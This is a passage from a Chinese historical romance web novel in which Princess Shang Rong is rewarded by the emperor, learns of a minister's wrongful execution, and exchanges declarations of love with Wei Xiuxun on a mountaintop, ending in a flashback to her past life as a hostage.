尚容回想起来，倒确实如此。然而细想之下，她也不知何时自己对魏修洵竟也有些不同了。
若谈合作，他们都是唯利的人，只要达到目的便好，彼此之前其他的事应不过问才对。但她今日确实反常，好像从她知晓玉姨娘的事开始，她对魏修洵便有些过于上心了。
尚容微微蹙眉：或许是因为联想到母后有些共情，又或许是……
这是她从未想过的。
怪不得他方才说“其实殿下今日来此，我有些意外”。
“殿下在想些什么？”
声声入耳，尚容思绪回笼：“无事……我也不知今日是怎么了。时候不早了，姨母该担心了，我们回去吧。”
韶淳点头：“好。”
次日尚容在御林军的护送下回京，六日后抵达京城。尚容的马车还没进入皇城，熟悉的尖细阴柔的声音便想起。
“殿下……殿下！”
尚容靠在窗边掀开床帘，见来者着一身宝蓝色圆领服，头戴朱红色流苏圆帽，正是永嘉帝身边的公公朱何。
“朱公公有何事？”尚容朱唇微启。
相比上一次，这次朱何说话的语气更显几分谄媚。他嘴角上扬，望着尚容：“殿下，陛下一早便吩咐了，说若是您回来了，让奴家立刻来请。”
尚容心如明镜，勾了勾唇，面上却依旧是不明所以的模样：“父皇这么着急寻本宫所谓何事？”
朱何惊讶地瞪大了双眼，音量提高了不少，声音更为尖细：“我的殿下啊，如今京城谁人不知殿下此次打乱了南义教的计划，那是大功一件呐！”
“本宫既为长公主，能为父皇分忧便是本分。”尚容不动声色，淡然一笑，“既如此，便有劳朱公公带路吧。”
“好嘞！殿下请！”
尚容的马车驶入皇宫，随后尚容在朱何的带领下入了御书房。
剔红金漆龙纹八扇屏风背后，永嘉帝尚徽正批阅奏折，见了尚容便搁下玉笔勾唇浅笑：“容儿来了。”
“是，儿臣拜见父皇。”
尚容欠身行礼，她有意察觉到尚徽今日的眼神不似平日深沉，似是因为铜铁矿一事不曾让南义教得手心情不错。
“不必多礼，坐。”
“是。”尚容入座。
尚徽薄唇轻抿，嘴角渗出令人琢磨不透的笑意，眼神相比平日却要柔和不少。在尚容记忆里，尚徽很少和
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自己这么心平气和地对坐着说话。
“这次南义教图谋不轨，多亏了你和魏修洵还有宫文甫，才不让奸人得逞。”尚徽的目光落在尚容身上，眼眸深处难得流露出几分温情。
“从前是朕对你关心太少了，让你受了不少委屈，日后朕会想办法弥补你。”
尚容神色不显，抬眸道：“容儿虽为女儿身，却也知晓国家大义，这件事是容儿应该做的。说起来父皇可曾查出偷出圣旨之人？”
尚徽眸色渐沉，眸子染上了一层薄怒：“朕身边的太监邓永，是南义教安插的奸细，朕已经将其杖毙了。”
“容儿担心南义教不会善罢甘休，父皇还需多加小心。”
尚徽颔首：“不过朕听说这些日子你和魏家那小子走得近。”
尚容神色不乱，浅笑道：“在纪阳不过是为了南义教的事，我与他并无私交，都是为父皇分忧罢了。”
“那便好。”尚容神色缓和了些，“你岁数也不小了，皇后这几日也和朕提起为你选驸马的事，朕想着还要问问你的意思。”
“皇后娘娘的心意容儿收下了，只是容儿眼下并无想要成亲的想法，从前是容儿不懂事，如今醒悟只想在父皇和祖母身边多尽尽孝道，还望父皇成全。”
尚容起身后退一步，言辞恳切。
尚徽不曾想到尚容会说出这些话来，神色流露出几分欣喜，轻拂衣袖：“容儿果真是长大了，你有如此心思自然很好。那朕便和皇后说，过段时间吧。”
“多谢父皇成全。”
“南义教一事你当立首功，朕也不知你喜欢什么，便准你在宫外选一座府邸建公主府吧，平日里可搬出去住。”
尚容浅笑：“儿臣多谢父皇。那儿臣便不打扰父皇处理公务了。”
尚徽微微颔首：“退下吧，好生歇息。”
“是，儿臣告退。”
“殿下为何看上去这般高兴？”韶淳见尚容面露喜色，也忍不住勾唇浅笑，道。
“父皇允本宫在宫外建公主府，无事搬出宫去住了。”尚容应道。
韶淳笑：“那可真是一件好事，选址殿下定了吗？”
尚容浅笑着摇了摇头，朱唇微启：“还不曾。”
“本宫让翠桃去看望母亲了，你随本宫回琼华宫换件衣裳吧，本宫想去梅兰轩看看。”
“都听殿下的。”
尚容洗浴完毕后换上了一件干净的鹅黄彩绣水纹锦裙，外面披了一件雪狐毛嵌丝披风。她望着铜镜里的少女，只觉得多日思绪紧绷，不曾休息好，眼下倒也多了几分倦容。
尚容坐马车到了梅兰轩，见店铺外依旧人头攒动。
站在门外揽客的落霜最先看见尚容，笑着走上前来：“殿下回来了？快到里面坐。”
“本宫不在的这段时间可有人找你们的麻烦？”尚容笑道。
落霜应道：“不曾有人来找麻烦，店里生意也不错，这些日来的顾客相对少了些，但每日的清味丸和除湿线香也能卖出两三千份。”
尚容微微颔首：“本宫最近研制了一款新品，过几日上新吧。”
29. 天不公
五日后，梅兰轩新品上市，此次主要推出女子防身香产品，引得全城热议，不少贵族夫人都来捧场。
尚容立在二楼围栏处，俯身望着楼下翘首以盼的诸位客人，道：“此次推出的新产品的灵感，主要来源于本宫见过的许多女子的经历。世道虽太平，但上至王公贵族，下至贫寒子弟，总有人人面兽心，不可不防。”
“此次女子防身香推出的前五日将以最低价售卖，本宫愿世人都能善其身，愿天下女子都能为愿为之事，不被禁锢，不输须眉。”
“不被禁锢……不输须眉……”声声入耳，落霜思及过往，眼眶微红。
梅兰轩大门大开，不少客人蜂拥而入，引得无数人旁观。
“殿下，二公主来了。”翠桃凑到尚容身旁，轻声耳语道。
尚容低头，果然见尚音着一身嫣红镂金刺绣宫裙，在宫女玉倩的搀扶下下了马车。
尚容却是毫不意外，只是勾了勾唇，道：“人都来了，便去见见吧，总不能让人白跑一趟。”
“是。”
尚容走下楼梯，正好与刚刚迈入大门的尚音四目相对。尚音小步走到尚容身旁，笑着道：“长姐这儿的生意可真不错，妹妹瞧着都有些羡慕了。”
三个月不见，倒是学聪明了。尚容心想。
不过她既然要演这一出姐妹情深，她倒也可帮她一把。
尚容嫣然一笑，眼尾微微上扬，伸手抚过尚音的左手手腕，语气柔和，见对方微微一愣：“是本宫不好，最近生意忙都忘了二妹，二妹被关了三个月的禁闭可是受苦了。”
此言表面客气，实则正中尚音伤处。尚音虽面上还不曾发作，自然垂落在裙摆一侧的右手已然微微攥紧，硬生生将上好的布料蹂｜躏出了几分不容忽视的褶皱。
尚音长吸了一口气，唇边艰难地挤出一丝笑意：“从前是二妹不懂事，二妹在这儿给长姐赔个不是，还望长姐见谅。”
尚容浅笑，朱唇微启：“自家姐妹说不什么见外的话，本宫自不会放在心上。”
“那便多谢长姐了。”
尚音微微欠身，却被尚容扶起。
“你看看有什么喜欢的尽管和本宫说，就当是给你的礼物了。”尚容勾了勾唇，笑容清丽。
尚音道：“长姐生意忙我便不劳烦长姐了，自己逛逛便是。”
言至于此，尚容也不好多劝，笑道：“既如此，落霜，去带二公主四处转转，切莫怠慢了贵客。”
“是，殿下。”落霜应道，随即笑着走到尚音身旁，二人逐渐走远。
“韶淳。”尚容朱唇微启，唇边笑意逐渐淡去。
韶淳上前：“殿下有何吩咐？”
“本宫这个二妹素来无事不登三宝殿，你最近盯好她，若发现对方有动作立刻来报，切勿打草惊蛇。”尚容望着尚音的背影，笑容冷若冰霜。
“属下定不负殿下所托。”
声声入耳，尚容望着韶淳勾了勾唇，眼神意味深长：“今日怎么改口自称属下了？本宫还没有那么大的脸面动你家主君的人？”
韶淳没忍住嘴角上扬：“主君说日后属下就是殿下的人了，殿下也是属下的主子，见到殿下如见主君。”
这个魏修洵……还真是让人捉摸不透。
尚容下意识微微垂眸，唇角流露出一丝不易察觉的笑意。
说起来，她回到京城已有六日，本应早几日便去拜访宫文甫，但由于其参加文坛会一时搁置，算起来今日文坛会也应结束了。
“翠桃，我们去一趟晚竹别苑。”
“是，殿下。”
晚竹别苑本是皇家的一处别苑，却废弃多年，此次永徽因宫文甫入京担任春闱主考官特命人将其收拾出来，供宫文甫暂住。
尚容在门前叩了叩门，来者依旧是辰晖山上见到的少年。此次他望见尚容，却未将其拒之门外。
“殿下在院里坐下吧，我去通知先生一声。”
“有劳了。”
尚容迈入别苑，见别院内多是流水迢迢，曲径通幽，不像是处于繁华京都中的院落，倒像是山中隐居之所，不难见在这一件事上她这个父皇还是上了点心的。
尚容在一处小亭里入座，很快便见宫文甫从一侧小径而来。
“殿下久等了。”
尚容浅笑：“刚到罢了，宫先生来得正好。南义教的事，尚容还要多谢宫先生。”
宫文甫笑着摆了摆手：“是殿下智勇双全，我不过助殿下一臂之力罢了，再说若是换做旁人，也会和我做一样的决定。”
“殿下今日来见我，恐怕不只是和我说这些的吧。”
尚容微微颔首：“什么事都瞒不过宫先生。晚辈的问题或许有些冒昧，但绝无冒犯先生之意，晚辈想知道先生十四年前是由何缘故选择辞官归隐？”
宫文甫望着尚容，对此似乎并不意外。他抿了抿唇，意味深长：“殿下觉得我是为何？”
尚容沉思片刻，缓缓开口：“或许……是因为心灰意冷？”
“殿下果然聪慧，这点像你母后。”宫文甫怅然一笑，沏了一杯茶送到唇边，浅浅抿了一口。
“不过我不是因为我自己而心灰意冷，而是因为一个人。”
“是何人？”尚容朱唇微启。
宫文甫眸色渐深：“原户部侍郎池绍秋。”
池绍秋……这个名字对尚容来说算不上陌生。说起来此人的确是在十四年前下狱，后没过多久便问斩了，罪名是利用职务之变在旱灾肆虐之事做假账，可谓是遗臭万年。
“此人原也是我的学生，他一身傲骨，为官清正，颇有治国之才，我曾道他前途不可限量。”
宫文甫望着远处茂密的竹林，眼眸流露出几分微光，然后很快微光便暗了下去，空余一片死寂。
他低着头，仿佛在叹息：“但他错在投错了胎，也不该来这京城。”
尚容神色严肃。她知晓若是如宫文甫所言，此人应当是世间少有的清臣，莫非……他的罪名本就是莫须有，是遭人诬陷。
“先生此言何意？”尚容心头一沉。
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宫文甫眸色清冷，却无奈地笑了出来：“因为他和你的母后本是青梅竹马，本有婚约。”
此言一出，尚容便知晓背后之意。池晚秋与她的母后本是青梅竹马，有婚约在身，之后二人虽再无联系，但帝王怎会容忍池晚秋对自己的皇后有情？便动用手段捏造罪名将其赐死，以安枕无忧。
“接下来的事，不用我再多说了吧。”宫文甫冷笑道，“你母后与池绍秋本就是两情相悦，但当时陛下看中了你母后，皇命之下不得不从。”
“五年后池绍秋来京都参加春闱高中状元，被封为户部侍郎，那年初秋便出了事。”
果然如此……尚容感觉胸口有些发闷，定了定神长吸了一口气。
“圣心难测，忠臣蒙冤，这件事后我便辞官离开了京城，没想到没过多久就收到了你母后病逝的消息。”
尚容朱唇微抿，眸色浅淡：“既然先生早在十四年前便心灰易冷，这次为何又愿意回来？”
宫文甫抬眸浅笑：“因为这些年我见了太多志在万里的学子，也听闻了太多世道的阴私，若能还天下考生一个公平，苦我一人倒也无妨。”
尚容见过太多随波逐流的人，但选择逆流而上的却屈指可数。以己之身为路，纵化枯骨仍不改志，着实令人钦佩。
“那尚容便替天下学子多谢先生了。”
宫文甫笑着望向尚容，良久道：“殿下还年轻，说不定有一日殿下会成为和我一样的人。”
尚容微微出神。
这日从晚竹别苑回来以后，翠桃便觉得尚容怪怪的。端来的晚膳也不曾用一口，只是一个人靠在窗边眉头紧锁，也不知在想些什么。
“殿下，您今日是什么了？晚膳也没用一口，这样身子怎么受得了？”
尚容只觉有些头晕，昏昏沉沉，便道：“我无事，睡一觉便好了。”
翠桃无奈地点了点头，转身见韶淳满脸喜色地从门外走入，忍不住道：“韶淳，什么事惹得你这般高兴？”
韶淳连忙道：“主君今日总算得偿所愿了。”
“怎么个得偿所愿法？”翠桃不解道。
“方才我听外面的人议论，说主君借着此次之功在陛下宣召之时呈上一纸状书，细写主母尹氏谋害玉姨娘，勇宁侯滥杀无辜和魏辰锐先前在围场谋害主君的经过。”
“如今人证物证俱在，陛下大怒，已下令将尹氏与魏辰锐打入大牢，听候发落，勇宁侯亦被夺去爵位，陛下封主君为勇宁侯，主君总算是苦尽甘来了。”韶淳道。
这倒的确是个好消息。尚容想要起身，却只觉身体乏累，缓缓开口：“替本宫向你家主君道喜。”
韶淳也觉得尚容今日有些反常，正欲开口被翠桃拉了拉衣袖，二人便退了出去。
尚容阖眸，却觉思绪紊乱。这一夜尚容睡得极沉，她梦见了很多人，有一身清正蒙冤而死的池绍秋，有原本心灰意冷却依旧与不公争斗的宫文甫，还有被迫与心上人分离成为笼中鸟的母后。
她忍不住去想，若换作是她，是否会做出同样的选择。
30. 诉霓裳
第二日，尚容昏昏沉沉的，一直到未时才醒来。她吩咐翠桃准备温水洗漱完毕，换上了一件金边海棠对襟小袄，却迟迟不曾梳妆。
“殿下，今日我们还去梅兰轩吗？”翠桃见尚容眼皮微微红肿，心中心疼，细声问道。
“今日便不去了。”
今日尚容未涂胭脂，唇色相比往日显得有些惨淡。她望着面前的铜镜，微微出神。
就在此时，她却听得身后窗户传来一阵细碎的声响，待再次抬眸见铜镜里显出男子熟悉的模样。
一旁的翠桃愣在原地，待思绪回笼连忙带上了房门。
“你如何来的？你可知私闯皇宫女眷住所是什么罪名？”尚容实在不曾想到魏修洵会胆大包天到在白日私闯琼华宫，紧锁的眉头染了几分愠色。
魏修洵见面前少女不曾梳妆，身形纤细，肌肤清透，倒确有清水出芙蓉，天然去雕饰之感。只是或许是昨日不曾休息好的缘故，眼皮微微红肿，薄唇间不染血色，多了几分憔悴。
“殿下放心，我让韶淳支走了人，不曾有人看见。我听韶淳说，昨日从晩竹别苑回来后，殿下便一直闷闷不乐。”
尚容不予置否，语气却依旧云淡风轻：“我休息一日便好，不劳挂心。”
魏修洵靠在墙边双手抱胸，微微勾唇：“前几日殿下劝我时倒是豁达，怎的到了自己身上便都忘了？”
尚容微微抬眸，缓缓开口：“我昨日去见了宫文甫，他与我说了一些陈年旧事。我才明白人的一生原来是那么短暂，那么脆弱，那些高高在上的帝王仅因自己微不足道的心思便能随意毁人姻缘，定人生死。”
“况且天道的不公何其多，我们听闻的也不过冰山一角罢了。”
魏修洵薄唇轻抿，望着尚容眸色渐深：“殿下想得长远，正是殿下有一颗心忧天下人的心。殿下只要尽力而为，便不悔。”
尚容舒了一口气，仿佛要将心头压抑的怨气通通消散。她顿时觉得，说出这些话，她倒是感觉好多了。
“还没来得及亲口恭喜你得偿所愿，以后是不是要改口叫你侯爷了？”
魏修洵见尚容眉头舒展，桃花眼浅浅眯着，笑容肆意张扬：“殿下还是像从前一样直呼我的名字便好。”
尚容见魏修洵走到自己身前，递了一张图纸到自己手上。
“图上的地方都还不错，殿下若有看得中了，直接选了便是。”
尚容见图纸上圈画出的地段，顿时回想起自己之前和韶淳说的建造公主府一事，只是眼下不过一日的功夫，他倒是上心竟都选得差不多了，这倒是让尚容有些意外。
尚容接过图纸，仔细浏览，却忍不住咳嗽了一声。
“殿下怎么了？”
魏修洵笑语晏晏，反倒显得她有些局促了。
尚容再低头看了一眼图纸，见上面用红笔圈出的地段自然都是极好，只是……只是分布虽散，却都距勇宁侯府不超过半柱香的路程。
尚容耳根微微泛红，却极力掩饰内心的波动，随意道：“无事。”
魏修洵勾了勾唇，静静地看着少女雪色的肌肤上逐渐染上了几分烟霞，却更显娇俏明艳。他声音低沉，却似挑逗：“殿下的脸怎么有些红了？”
尚容一时有些不知所措，长舒了一口气才好些：“殿内炭火烧得有些旺，本宫觉着有些热罢了。”
“这样啊……”魏修洵靠在一旁的太师椅上，神色慵懒，“既然殿下无事，不如与我出去一趟。”
尚容抬眸：“做什么？”
“我与殿下既是盟友，殿下庆祝我如愿以偿，这要求不算过分吧？”魏修洵微微挑眉，羽睫微动。
尚容不曾开口，却见魏修洵传身留下一句。
“殿下不说话，我便当殿下答应了，半个时辰后梅兰轩见。”
待尚容回过神来，魏修洵早已翻窗而出，不见踪影。
这个魏修洵……尚容嘴角忍不住微微上扬。
“翠桃，替我梳妆。”
半个时辰后，尚容抵达梅兰轩，见一侧的马车外长青立得笔直，见到她欠身行礼。
“殿下，主君就在车上，请。”
尚容浅笑颔首，随即上车撩开车帘，见魏修洵换了一身靛蓝绣边暗纹窄袖锦袍，衬出近乎妖艳的容貌，倒是直晃晃地惹人眼球。
尚容微微出神，心中回忆起赴纪阳的第一日，她在马车上远远看到的那一身红衣，毫不遮掩，招摇至极。
“外面凉，殿下先坐。”
声声入耳，尚容思绪回笼，抬眸恰好撞上魏修洵的目光，见对方眼尾微微上扬，似是心情不错。
“去哪儿？”尚容朱唇微启。
“自然是去一个好玩的地方。”
魏修洵薄唇轻抿，从衣袖中取出两个制作精细的半面面具，一黑一白，皆是狐狸形状。
“殿下喜欢哪个？”
尚容一时有些琢磨不透魏修洵的心思，便随手拿了一个白色的狐狸面具：“这个吧。”
魏修洵取过另一只面具，放在手里肆意把玩，道：“城南的黛云阁今日有假面舞会，殿下到时带上面具便是。”
假面舞会……尚容从前不曾听说过，听上去倒是新奇有趣。
“只是我不擅舞。”尚容朱唇微启。
魏修洵勾唇，鼻梁一侧的浅红小痣随着笑意轻轻晃动：“那便不舞，殿下只当放松便好。”
话音未落，尚容便觉马车缓缓停下。
“主君，殿下，黛云阁到了。”
魏修洵戴上面具，明艳的容貌掩在面具之下，桃花眼深处泛起一阵微波。他伸出手，意欲搀扶：“殿下，走吧。”
尚容戴上面具，心情一时也轻松了不少，扶着魏修洵的手下了马车。
黛云阁外男男女女皆戴着形色各异的面具，容貌不显，并肩往里走去。
“这里没有人在乎我们是谁，只在乎自己的喜乐。”魏修洵侧身望着尚容，嘴角微微勾起。
尚容颔首，迈入阁中被悠扬的琴声吸引。
“说起来殿下的琴艺今日可有精进？”魏修洵见尚容停下脚步，道。
尚容朱唇微启
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：“近日忙于一些事，倒是有些懈怠了。”
“殿下聪慧，若勤加练习必定精进。”魏修洵对尚容对视，唇边荡漾出几分笑意，“近日我倒是听得一首曲子，今日便借花献佛赠予殿下。”
尚容见魏修洵往不远处的琴台而去，盘腿卧坐，双手抚动琴弦。
起初琴音低沉厚重，令人恍若见到一位看尽世事的少年，历经千帆老练通达，而后琴音潺潺似有珠玉跃动，逐渐轻快悠扬，回旋婉转，其中似有万丈柔情。
尚容微微抬眸，恰好对上魏修洵的眼眸。魏修洵嘴角微噙，面具之下的桃花眼流露出几分柔和，倒与平日有些不同。
琴声顿时吸引了不少人，尚容听得背后男男女女交谈的声响。
“这首曲子我倒从未听过。”一个男人对身旁女伴说道。
“我多年前途径纪阳，倒是听得此曲，此曲名为诉霓裳，相传是上古将军蚩延对心上人连忧夫人表明心意时所作，旋律悠扬缠绵，与名曲凤求凰有异曲同工之妙，却又较之添了几分将军风骨。”女人道。
声声入耳，尚容神色有些动容，但她很快隐去了眉间的情绪，不令人察觉。
如那女人所言，一阵如轻风疏雨的琴声过后，琴音却如潮水般狂涌而出，扣人心弦，令人闻之如入将军战场厮杀之境。
待潮水徐徐退去，便只剩下将止为止的琴音。魏修洵手指轻勾琴弦，三两琴音绕梁，待双手缓缓放平，便只得令人回味方才一曲。
魏修洵撩起衣袍的一角缓缓起身，却被一旁看客拦住。
“公子琴艺卓绝，不如今日再弹一曲？”
魏修洵侧身望着不远处立着的尚容，勾了勾唇：“一曲足矣，诸位尽兴。”
尚容浅笑：“今日怎么想起来赠我一曲了？”
“这首曲是我在纪阳之事偶然所得，觉得很是感人，便想借今日赠予殿下。”
尚容嘴角微扬，下意识地偏过头去，眼神有些躲闪，却被魏修洵轻握住一截皓腕，整个人被带着向外走去。
“去哪儿？”
魏修洵微微勾唇：“殿下一去便知。”
马车大约行驶了一炷香的功夫，尚容逐渐察觉到街道的喧嚷被弃之身后，随之而来的是盘旋的山路。
“这是望原山？”尚容微微愣住。
魏修洵似是不曾料到，眉心微挑：“殿下如何得知？”
尚容垂眸，她犹记得母后在世之时曾与她提起过望原山山巅云海萦绕，野花遍野，俯身远眺似可将天下美景尽收眼底，只是母后也不曾亲眼所见，只是听得旁人交谈得知罢了。
“我也是听人提起，不曾去过。”
“那殿下今日也有眼福了。”
魏修洵唇角微勾，桃花眼映着面前少女的容貌。
马车驶过盘旋山路后，地势逐渐平坦。尚容撩开车帘的一角，见此时夕阳初现，沉入天际的鱼肚白后日光喷涌而出，似道道残血令人移不开眼。
“我们到了？”尚容望着窗外，目光微滞。
“是，我们到了。”
31. 解心结
魏修洵扶着尚容下了马车。此时虽已入冬，尚容抬眸不见野花遍野，却依稀可见染了白霜的草丛中有几朵野花不畏严寒，顽强盛放。
行至山崖放眼望去，见城外山峦绵延，河水奔涌，万千景色顿时尽收眼底。
尚容长吸了一口气，感觉这几日萦绕在心头的疲惫似乎就在这一刻烟消云散。
她微微侧目，见魏修洵抬眸远眺，双手抱胸，唇角渗着几分似有若无的笑意。
说起来今日本应是她来庆祝魏修洵大仇得报，如愿以偿的，如今看来倒更像是他心知她心情不顺，带她出来散心的了。或许从一开始，他便打算好了。
“殿下喜欢这里吗？”魏修洵勾唇。
尚容浅笑颔首：“此处景致的确不错，今日你有心了。”
声声入耳，魏修洵转过身来对上尚容的目光，桃花眼此时似含了一池秋水，笑意缱绻：“如今已然入冬，景致自不能与春夏媲美，若殿下喜欢，明年我还约殿下来此。”
“那便一言为定。”
魏修洵唇边笑意浓重。
尚容微微侧目，余光瞥见侍卫长青手里似是拿着什么东西，道：“那是何物？”
“是孔明灯。”魏修洵接过长青手中的两个孔明灯，将其中一个递到尚容手中。
“坊间传言亲手写下愿望，再放飞孔明灯，愿望就会实现。”
尚容似是有些意外魏修洵会相信这些，望着他浅笑着打趣道：“若是不灵呢？”
尚容见魏修洵眸色渐深，神色有些严肃，缓缓开口。
“孔明灯本就是寄愿，若是不灵也无妨，我自会与殿下杀出一条路来。”
尚容不曾料到魏修洵会认真地回答她提出的这个问题，心头微沉，却忍不住抬眸打量面前的这个人。
在她前世的印象里，她与魏修洵并无过多交往，只知其表面顽劣，实则性情乖张，是个冷到了骨子里的人，也是少有的她看不懂的人。
而今世走得近了之后，她好像慢慢地能够看清他藏在暗夜之中的半张面孔，一如他今日赠她一曲诉霓裳，背后之意似乎不言而喻。
但尽管如此，尚容仍觉得她并不了解完全的他，有些事始终不得答案，以至于她每每心头触动都下意识地警醒自己，莫要因此步前世旧尘。
然而今日，她却想试着找一些答案。
“魏修洵，你可知我起初为何刻意避开你？”尚容缓缓开口。
魏修洵转过身来，眼底神色不明：“为何？”
“因为我做了一个很长的梦，在那个梦里我被迫和亲西察，却成为两军阵前之质，我不愿再受胁迫便了断了自己的生命。”
尚容缓缓抬眸，眸色浅淡：“我临死前最后看到的，便是当时成为晋安侯，率军与西察王对峙冷若冰霜的你。”
暮色渐浓，尚容逐渐看不分明魏修洵的眼眸，只觉那双眼眸如黑曜石一般压抑无光，与她前世记忆中的一般无二。
“我起初惧你，是因为觉得你太过冷血，好像能看淡生死，不为所动。”
“那如今呢？”魏修洵望着尚容微微皱眉，浅笑间夹杂着几分自嘲，“所以这便是殿下一次次推开我的原因？”
尚容默声不语，眉心微蹙。事已至此，她几乎将她心中顾虑全盘托出，她已然不必，也不忍说有违内心的话。
魏修洵上前一步，二人距离顿时被拉近，近得足以听见彼此的呼吸。
“殿下可知若真如此，我会怎么做？”魏修洵声音低沉，夹杂着些许沙哑。
尚容道：“我不知。”
魏修洵侧过身去，自断崖处俯视整片壮丽山色。凉薄的月色不偏不倚地落入他的眼眸，也将他颀长的背影蒙上了一层淡淡的哀伤色彩。
“若我入梦没有亲人，孑然一身，了无牵挂，我定会亲手斩下西察王的头颅替殿下报仇雪恨，然后……”魏修洵笑意冰冷，眼神却格外坚毅，“寻一处地方自我了断。”
尚容怔住，她曾想过无数次魏修洵的回答，但她唯独不曾想过这种方式。
更令她不敢深思的是，她知晓前世宣妃在她远嫁和亲西察前便已然离世，死于勇宁侯府与晋安侯府之间的权利争斗。也就是说，魏修洵征战西察之时的确孑然一身，了无牵挂。
尚容微微蹙眉，自然垂落在裙摆间的右手缓缓攥紧。
但她知晓这是今世魏修洵给出的答案，而前世他们二人不过点头之交，他却也不必为她放弃未来的大好前途与唾手可得的权力，选择一条死路。
“殿下可还记得殿下在钟粹宫查案那次，我送殿下回琼华宫时和殿下说的话吗？”
尚容低头沉思，头脑中回想起那声“许久未见，殿下与从前有些不同了”。
见尚容默声不语，魏修洵缓缓开口：“殿下可知我为何最初便信任殿下，选殿下做我的盟友？”
尚容抬眸，见他勾唇一笑，眼眸含光。
“有些事对殿下而言或如轻风，于我却似惊鸿。”
尚容静静地望着他，见他垂眸握着手里的孔明灯，声音淡淡。
“殿下可还记得四岁那年你曾在一次宫宴上替一个小少年出头？”
四岁那年的宫宴……尚容沉思，莫非是除夕那次？尚容犹记得前一年风调雨顺，是以那年永嘉帝在除夕那日大设宫宴，邀了满朝的文武百官带家眷入宫同乐，热闹非凡。
魏修洵如此一提，倒让她记起一些当时宫宴之事。
那时她性子尚且倔强，甚至有些胆大包天，又因她天资聪颖得永嘉帝喜爱，宫里人都对当时只有四岁的她格外客气。
宫宴那日，她早早便到了似乎是为了多玩乐几番便随处闲逛，恰好遇见几个世家子弟围在一起欺负一个看上去六七岁的小少年，她便走了上去，最后把那些小少年都吓跑了。
至于另外的一些细节，她的确是记不得了。
待思绪回笼，尚容开口：“莫非你是……”
魏修洵嘴角微噙，转身与尚容四目相对：“殿下猜得不错，我便是被当时殿下护着
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的人。”
“大哥素来对我不满，借着当日宫宴便撺掇同龄的世家子弟想要让我难堪，是殿下出现替我解了围。”
“殿下还与我说，不要做任人欺负的人。”
思及过往，魏修洵眉头舒展，怅然一笑。从始至终，他的目光落在面前少女身上不曾离开，一如当时小少年望着年仅四岁的她，眼眸里流露出几分希冀。
尚容不曾想过自己曾经微不足道的举动竟会对当时尚且年少的魏修洵产生如此深刻的印象。
她这时才明白魏修洵送她回琼华宫时对她说的那句话。
之所以不同，是因为他曾经过四岁时性情倔强的自己，也听闻过后来自己软弱无能的模样，是以再次见到她时才会生出那般感慨。
想来曾经的他看到她变成了连她自己都厌恶的懦弱模样，也该是有些失望吧。
“你当年从边关回京之后，见过我吗？”尚容缓缓抬眸。
“远远见过殿下一眼，我当时便在想殿下不该如此。”魏修洵对上尚容的眼神，羽睫微动，眉目含情。
尚容嘴角轻扬，似释怀了种种过往：“你放心，如今我不会了。”
不会再任人摆布，不会再活成自己厌恶的模样，或许也不会……再心存顾虑了。
“殿下可有什么心愿？”魏修洵斜斜立着，笑着把玩手中的孔明灯，抬眸道。
尚容见一旁的侍卫长青递来了笔墨，提笔蘸了少量墨汁在孔明灯薄纸上写下两行字。待笔落字成，尚容本欲搁笔，却似又想到了什么，在两行字后又添了几笔。
尚容微微侧目，见一旁魏修洵早已将笔墨搁置，俯身眼神直勾勾地看着她。尚容呼吸逐渐有些快了，脸颊也染上了几分烟霞。
“你写了什么？”尚容定了定神，道。
魏修洵薄唇轻勾，嘴角流露出一丝玩味的笑意：“殿下还未曾回答我的问题。”
“愿天下女子为己而活，愿天下再不见苦命之人。”尚容应道。
魏修洵的目光落在最后的一行小字上，嘴角微微上扬，语气挑逗：“殿下是不是还忘了什么？”
尚容一时神色微乱，一手将孔明灯放在身后，解释道：“最后小字……是我的落款，无关紧要。”
魏修洵走得更近了些，笑意浓重：“既然如此，那我笔下之言便是句句要紧。”
尚容抬眸，不偏不倚地撞入那双含情的桃花眼。不知为何，她感觉自己心头被蛮不讲理地烫了一下，一阵泛麻。
“愿我心上之人一生顺遂，无病无忧。”
尚容的右手微微攥紧，就连呼吸也几乎停滞了几分。
魏修洵目光灼灼，墨色的眼眸深处似泛起阵阵涟漪，好似永不停息的漩涡，令人不觉沉溺，乃至沉沦。
尚容立在原地，抬眸却见魏修洵微微俯身，呼吸散落在她的脸颊上，额间顿时泛起几分炙热。
他勾唇一笑，笑容明艳，恍若动情。
“也愿我能护她一世周全，让她夜夜好梦。”
32. 前世因
秋夜微凉，中军营帐里，魏修洵一身戎衣未解，垂眸望着眼前的地形沙盘，眼神清冷。
“主君。”
营帐外传来熟悉的声音。
“进。”
长青眉头微皱，道：“主君，按照您的吩咐，我命手下人在西察军的营地附近探查，大致确定了殿下的位置，只是……”
魏修洵眸色渐暗，声音低沉：“说。”
“西察在周围布防，守备森严，我军难以进入。不过罗斯河以外我军便可设防，只要殿下能在罗斯河附近，便可一举将殿下救出。”
“派人在附近接应，让我们的暗棋设法与殿下接触。”魏修洵双手撑着地形沙盘，素日风流含情的桃花眼此刻却如黑曜石一般令人看不清浅深。
长青侧目望着半身笼在夜幕之中的魏修洵，想要开口却难以开口。
魏修洵察觉到对方有些反常，缓缓开口：“何事？”
“回主君，我们的暗棋已经有两日不曾回复了。怕是……”长青垂下头去，不敢直视魏修洵的眼睛。
魏修洵的右手逐渐攥紧，修理整齐的指甲因为极大的气力嵌入皮肉，生生刻出几道微微红肿的印痕，肌肤的刺痛感随之而来，逐渐蔓延至胸口。
“来不及了，再秘密安插些人手，若是今日不成，明日阵前不惜一切代价也要救出殿下。”
“是！”
“下去吧，一有情况随时来报。”
“属下告退。”
长青退了出去，偌大的营帐内便只剩下魏修洵一人略显孤寂的背影。
他常常后悔，若非陛下下旨和亲之前自己人在边关，若是他能早一些回到京城，他便会上书谏言，或许一切就还有转圜的余地，她便不会落到如此生死一线的境地。
但事已至此，明日便是最后之期，他已没有失手的机会了。
魏修洵斜靠在沙盘旁，抬眸远望西察营帐的方向，嗓音低沉入骨，眼眸深处似有微光闪烁。
“再忍一忍，最晚明日，我接你归故国，还故土。”
这一夜格外漫长，一直到天际破晓，天光初显，魏修洵都不曾合眼。他系好戎甲，便走出营帐，翻身上马。
“全军出发！”
“是！”
魏修洵率军一路跨过罗斯河，地势逐渐平坦，远远望去，西察军队已如黑云压境，逐渐集结。
待到走近了些，西察王默沙的模样逐渐映入魏修洵的眼帘。
默沙赤｜裸着粗壮有力的双臂，手持弯刀挟持着一身红衣的少女，魏修洵手握长枪的右手逐渐攥紧，眼神冷得骇人。
少女尚未换下褪去一身红妆，换下凤冠霞帔，容貌明艳动人，却又隐约可见几分无力的倦意。尖锐的刀刃紧贴着她白皙柔嫩的肌肤，在她的脖颈上留下一道清晰的血痕。
